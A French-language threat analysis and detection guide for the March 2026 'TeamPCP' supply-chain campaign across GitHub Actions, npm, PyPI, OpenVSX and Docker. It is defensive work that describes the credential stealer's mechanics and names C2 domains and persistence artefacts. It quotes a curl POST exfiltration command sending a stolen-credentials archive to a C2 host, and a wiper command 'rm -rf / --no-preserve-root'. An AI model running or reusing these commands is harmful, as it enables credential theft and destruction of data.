Attaque de la chaîne d'approvisionnement TeamPCP : analyse technique et guide de détection

CVE-2026-33634 (CVSS 9.4) — L'attaque de chaîne d'approvisionnement CI/CD la plus impactante de 2026 à ce jour.

Entre le 19 et le 25 mars 2026, l'acteur de la menace TeamPCP (également suivi sous les noms DeadCatx3, PCPcat, ShellForce, CanisterWorm) a exécuté une compromission en cascade de la chaîne d'approvisionnement à travers cinq écosystèmes : GitHub Actions, Docker Hub, OpenVSX, npm et PyPI. Partant d'un seul PAT GitHub incomplètement révoqué, la campagne s'est propagée à deux grands éditeurs open source de sécurité (Aqua Security et Checkmarx), quatre dépôts GitHub Actions, deux extensions VS Code, des registres de conteneurs et plus de 66 paquets npm.

Ce dépôt fournit une analyse technique complète, des listes d'IOC organisées (testées contre les faux positifs) et des requêtes de détection prêtes à déployer dans Microsoft Defender XDR.

Table des matières

• Attack Timeline
• Kill Chain Breakdown
• Compromised Artifacts
• Credential Stealer Mechanics
• CanisterWorm — npm Propagation
• Iran-Targeted Wiper Component
• Detection & Hunting
• IOC List
• FP Filtering Notes
• MITRE ATT&CK Mapping
• References

Chronologie de l'attaque

Détail de la kill chain

Phase 1 — Accès initial

Cause racine : rotation incomplète des identifiants après la brèche du 28 février. Le PAT du compte de service aqua-bot n'a pas été révoqué, ou l'attaquant a observé le nouveau jeton pendant la rotation.

TeamPCP a utilisé cet accès conservé pour effectuer un force-push de tags de version vers des commits imposteurs malveillants. Chaque commit forgé reprenait les métadonnées de l'original (auteur, horodatage, message) tout en remplaçant le script d'entrée par la charge utile du voleur. La page de release de GitHub n'affichait aucun changement visible — même le badge « Immutable » s'affichait normalement.

Phase 2 — Exécution de la charge utile

Le voleur — un entrypoint.sh de 204 lignes s'identifiant comme « TeamPCP Cloud stealer » — exécute une attaque en trois étapes :

Étape 1 : Récupération depuis la mémoire

Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory

Étape 2 : Balayage des identifiants sur le système de fichiers

Scanne plus de 50 chemins sensibles, notamment :

• Clés SSH (~/.ssh/*)
• Identifiants AWS/GCP/Azure
• Jetons et configurations Kubernetes
• Identifiants de registre Docker
• Fichiers d'état Terraform
• Portefeuilles crypto (Solana, Bitcoin, Ethereum, Cardano)
• Jetons npm (~/.npmrc)
• Historiques de shell
• Fichiers .env

Étape 3 : Exfiltration chiffrée

• Regroupe toutes les données récoltées dans tpcp.tar.gz
• Chiffre avec AES-256-CBC (clé de session aléatoire) + RSA-4096/RSA-OAEP (clé publique de l'attaquant)
• Exfiltre via curl POST vers des domaines typosquat spécifiques aux fournisseurs
• Repli : crée un dépôt tpcp-docs ou docs-tpcp dans le compte GitHub de la victime en utilisant un GITHUB_TOKEN volé

Phase 3 — Persistance

Sur les systèmes Linux non-CI, le malware :

1. Crée le répertoire caché ~/.config/sysmon/
2. Dépose une backdoor Python (sysmon.py)
3. Installe un service utilisateur systemd qui interroge le C2 toutes les 50 minutes
4. Kill switch : si la réponse du C2 contient « youtube », la backdoor saute l'exécution

Phase 4 — Mouvement latéral (vague Checkmarx)

Les identifiants volés lors de la vague Trivy ont permis de compromettre l'écosystème de Checkmarx. Chaque nouvelle vague utilisait un domaine C2 typosquat différent pour contourner les listes de blocage de la vague précédente :

Artefacts compromis

GitHub Actions

Extensions OpenVSX (le marketplace VS Code n'est PAS concerné)

Les deux extensions ont été publiées à 12 secondes d'intervalle à 12:53 UTC le 23 mars via le compte ast-phoenix. À l'activation, environmentAuthChecker.js vérifie la présence d'identifiants de fournisseur cloud, puis récupère un voleur de deuxième étape depuis checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.

Images de conteneurs

PyPI

Charge utile base64 à triple imbrication avec un arsenal de mouvement latéral K8s. Persistance via sysmon.service qui interroge checkmarx.zone/raw.

Mécaniques du voleur d'identifiants

Le schéma d'exfiltration est identique dans toutes les vagues :

curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz

La stratégie de domaine typosquat est délibérée : un analyste qui examine les journaux CI/CD voit un trafic curl vers ce qui ressemble au domaine du fournisseur de l'action elle-même. Sans comparaison attentive, scan.aquasecurtiy.org passe pour aquasecurity.org lors d'un examen rapide des journaux.

Seul l'attaquant peut déchiffrer les données volées — la clé de session AES est chiffrée RSA-OAEP avec sa clé publique.

CanisterWorm — propagation via npm

Dans les 24 heures suivant la compromission de Trivy, des jetons npm volés ont permis la propagation d'un ver autonome à travers plus de 66 paquets (141 artefacts malveillants).

Ce qui rend CanisterWorm remarquable :

• Premier malware npm documenté utilisant un canister blockchain ICP (Internet Computer Protocol) comme C2
• Le canister situé à tdtqy-oyaaa-aaaae-af2dq-cai est un contrat intelligent décentralisé — aucun point de démantèlement unique
• Expose 3 méthodes : get_latest_link, http_request, update_link
• L'attaquant peut faire pivoter les charges utiles sur toutes les machines infectées sans republier aucun paquet npm
• Kill switch : si le canister renvoie une URL contenant youtube.com, la backdoor dort
• Persistance : service utilisateur systemd se faisant passer pour pgmon (supervision PostgreSQL)
• Intervalle d'interrogation : toutes les 50 minutes
• Binaire déposé dans /tmp/pglog, état suivi dans /tmp/.pg_state

Scopes compromis connus : @emilgroup/*, @teale.io/* (variante auto-propagée dans @teale.io/eslint-config v1.8.11, v1.8.12)

Composant wiper ciblant l'Iran

Une variante destructive cible spécifiquement les systèmes iraniens :

1. Kubernetes + Iran : déploie des DaemonSets privilégiés sur chaque nœud (y compris le plan de contrôle), efface les données et force le redémarrage via un conteneur nommé kamikaze
2. Kubernetes + hors Iran : installe la backdoor CanisterWorm comme service systemd
3. Non-K8s + Iran : exécute rm -rf / --no-preserve-root avec sudo
4. Non-K8s + hors Iran : aucune action

La détection s'effectue via des vérifications du fuseau horaire et des paramètres régionaux du système.

Détection et hunting

Microsoft Defender XDR — Règle de détection personnalisée

Nom de la règle : TeamPCP Supply Chain C2 and Malware IOC Match
Gravité : Élevée
Catégorie : CommandAndControl
Fréquence : Toutes les heures

Voir detection/defender_xdr_query.kql pour la requête KQL complète.

La requête couvre :

• 7 empreintes SHA256 de fichiers (variantes du voleur + CanisterWorm)
• 2 adresses IP C2
• 4 domaines C2 (typosquats + canister ICP)
• 4 URL C2 spécifiques
• Vérifications de résolution DNS

Import des indicateurs Defender TI

Un CSV prêt à importer est fourni dans iocs/FINAL_TeamPCP_IOC_25Mar2026.csv. Ce fichier a été testé contre les faux positifs dans un environnement d'entreprise en production.

Autres plateformes

Liste des IOC

Empreintes de fichiers (SHA256)

IOC réseau

Chemins d'URL C2

Artefacts de persistance

Dépôts GitHub d'exfiltration (repli)

Notes sur le filtrage des faux positifs

Les requêtes de détection et le CSV d'IOC de ce dépôt ont été testés dans un environnement de production exécutant :

• Ansible AWX/Tower avec les collections community.general et kubernetes.core
• Claude Code et GitHub Copilot sur des postes de développement macOS
• Agent FortiMonitor (interrogation IMDS)
• Oracle AHF sur des instances OCI (interrogation IMDS)
• Divers toolchains de développement Python/Node.js

Les IOC suivants ont été retirés en raison de faux positifs confirmés :

Correspondance MITRE ATT&CK

Références

Licence

MIT — Utilisez, partagez, adaptez librement. Mention de la source appréciée.

Auteur : Ugur Can Ates — Responsable d'équipe SOC et ingénieur sécurité senior
Dernière mise à jour : 25 mars 2026